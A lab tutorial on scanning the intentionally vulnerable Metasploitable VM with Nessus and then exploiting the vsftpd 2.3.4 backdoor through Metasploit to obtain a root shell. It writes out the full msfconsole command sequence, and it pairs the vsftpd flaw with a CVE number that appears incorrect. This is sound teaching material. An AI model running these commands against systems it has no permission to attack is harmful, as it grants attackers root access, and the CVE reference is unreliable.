TL;DR
This guide shows you how to use Nessus to identify vulnerabilities on a deliberately vulnerable virtual machine (Metasploitable) and then exploit one of those vulnerabilities using Metasploit. This is for learning purposes only – never scan or attack systems without explicit permission.
Prerequisites
- VirtualBox installed
- Metasploitable virtual machine downloaded and running (download from Rapid7)
- Nessus Essentials installed and configured (download from Tenable – requires a free account)
Step 1: Discover Metasploitable
First, we need to tell Nessus about the target machine.
- Open Nessus and click on ‘New Scan’.
- Choose ‘Basic Network Scan’ as your scan type.
- Give the scan a name (e.g., “Metasploitable Scan”) and description.
- Enter the IP address of your Metasploitable VM in the ‘Target’ field. You can find this using
ifconfigwithin the Metasploitable terminal:ifconfig eth0 | grep 'inet addr:'. The IP address will be after ‘inet addr:’.
- Click ‘Save’.
Step 2: Run the Scan
Now, launch the scan to find potential weaknesses.
- Select your newly created scan from the Nessus dashboard.
- Click the green ‘Launch’ button.
- Wait for the scan to complete. This can take 30 minutes or more depending on your hardware and network speed.
Step 3: Analyse Scan Results
Nessus will present a report of vulnerabilities found.
- Once the scan is finished, review the ‘Overview’ tab for a summary of critical, high, medium and low severity findings.
- Click on individual vulnerabilities to see details, including descriptions, potential impact, and remediation steps.
- For this example, we’ll exploit the vsftpd 2.3.4 Backdoor Command Execution vulnerability (CVE-2011-5720). This is usually listed as a high severity finding.
Step 4: Exploit with Metasploit
We’ll use the Metasploit framework to exploit the vsftpd vulnerability.
- Open a terminal and start Metasploit using
msfconsole. - Search for the appropriate module:
search vsftpd 2.3.4. This should return the ‘exploit/unix/ftp/vsftpd_234_backdoor’ module.
- Use the module:
use exploit/unix/ftp/vsftpd_234_backdoor.
- Set the target IP address:
set RHOSTS [Metasploitable IP Address]. Replace ‘[Metasploitable IP Address]’ with the actual IP.
- Run the exploit:
run. This will attempt to gain a shell on Metasploitable.
- If successful, you’ll get a root shell! You can verify this by running
whoamiwhich should output ‘root’.
Step 5: Clean Up (Important)
After the exploit, it’s vital to clean up.
- Exit Metasploit using
exit. - Shut down or reset your Metasploitable VM. This prevents further unintended access.

